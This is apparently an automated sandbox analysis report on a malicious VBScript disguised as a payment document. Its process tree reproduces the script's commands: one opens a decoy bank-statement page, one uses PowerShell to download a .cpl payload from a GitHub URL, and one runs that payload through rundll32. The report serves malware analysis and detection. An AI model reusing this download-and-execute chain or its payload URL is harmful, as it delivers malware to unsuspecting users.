Analysis

  • max time kernel
    65s
  • max time network
    19s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    30/03/2025, 18:32

General

  • Target

    Payment_Activity_0037_2025-3-30.vbs

  • Size

    13KB

  • MD5

    257ea8ae99c0f328251eecebbb3c4301

  • SHA1

    0f6c115c4169c73269ee17955cd6858f71bd9b45

  • SHA256

    0d69c127cf01104b06b3407364bbd1c04ae5b6a831317b58d835c50ff9a0468c

  • SHA512

    631c1e004e71412b05bf1fb919d26d303a16c3cfbc5bf5e0fdf44533fbd8e47e4cd1ad1e00a39dfd038c51eceaf6bb19404eca49756a657b623b4acccda37b71

  • SSDEEP

    192:NB0v8qa258i+nxp2YXBoN8x6kgqDMOhWm3Gmim3jzVcGZlIyB1AQaAMKz3N2v:3qyiAdxoY6HyLjpLZlIyUQanKzN2v

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Powershell Invoke Web Request.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Payment_Activity_0037_2025-3-30.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1680
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powershell start-process msedge https://www.scribd.com/document/806838445/Bank-Statement
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2932
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell start-process msedge https://www.scribd.com/document/806838445/Bank-Statement
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2820
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://raw.githubusercontent.com/SC10001/Di/main/DNSBackup.cpl -Outfile C:\ProgramData\DNSBackup\DNSBackup.cpl
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2852
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell Invoke-WebRequest -Uri https://raw.githubusercontent.com/SC10001/Di/main/DNSBackup.cpl -Outfile C:\ProgramData\DNSBackup\DNSBackup.cpl
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2680
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c start /b C:\Windows\SysWOW64\rundll32.exe shell32.dll,Control_RunDLL C:\ProgramData\DNSBackup\DNSBackup.cpl
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2856
      • C:\Windows\SysWOW64\rundll32.exe
        C:\Windows\SysWOW64\rundll32.exe shell32.dll,Control_RunDLL C:\ProgramData\DNSBackup\DNSBackup.cpl
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: CmdExeWriteProcessMemorySpam
        • Suspicious use of WriteProcessMemory
        PID:2212
        • C:\Windows\system32\RunDll32.exe
          C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL C:\ProgramData\DNSBackup\DNSBackup.cpl
          4⤵
            PID:2208
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c start /b C:\Windows\System32\rundll32.exe shell32.dll,Control_RunDLL C:\ProgramData\DNSBackup\DNSBackup.cpl
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:612
        • C:\Windows\System32\rundll32.exe
          C:\Windows\System32\rundll32.exe shell32.dll,Control_RunDLL C:\ProgramData\DNSBackup\DNSBackup.cpl
          3⤵
            PID:2200

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

        Filesize

        7KB

        MD5

        5b98dcb704d165e679f8766a583b84b9

        SHA1

        fbf22c3def5d055ab3e1f096eed8878dea8fc033

        SHA256

        3691782c0096eda043e55279d267e1d2a0219c36e5e4effbae9bfe32543956d4

        SHA512

        5ad1a4b8eb7664d4df8c40a3841cd7061bdeb807a5c030afca8046bdb8c69715541dc32c9639e7e820a360ad7a8d1e236c7fd6a949a8c6f71975d12d51770db9

      • memory/2680-18-0x000000001B290000-0x000000001B572000-memory.dmp

        Filesize

        2.9MB

      • memory/2680-19-0x0000000002730000-0x0000000002738000-memory.dmp

        Filesize

        32KB

      • memory/2820-4-0x000007FEF588E000-0x000007FEF588F000-memory.dmp

        Filesize

        4KB

      • memory/2820-6-0x0000000002390000-0x0000000002398000-memory.dmp

        Filesize

        32KB

      • memory/2820-5-0x000000001B380000-0x000000001B662000-memory.dmp

        Filesize

        2.9MB

      • memory/2820-7-0x000007FEF55D0000-0x000007FEF5F6D000-memory.dmp

        Filesize

        9.6MB

      • memory/2820-8-0x000007FEF55D0000-0x000007FEF5F6D000-memory.dmp

        Filesize

        9.6MB

      • memory/2820-9-0x000007FEF55D0000-0x000007FEF5F6D000-memory.dmp

        Filesize

        9.6MB

      • memory/2820-10-0x000007FEF55D0000-0x000007FEF5F6D000-memory.dmp

        Filesize

        9.6MB

      • memory/2820-11-0x000007FEF55D0000-0x000007FEF5F6D000-memory.dmp

        Filesize

        9.6MB

      • memory/2820-12-0x000007FEF55D0000-0x000007FEF5F6D000-memory.dmp

        Filesize

        9.6MB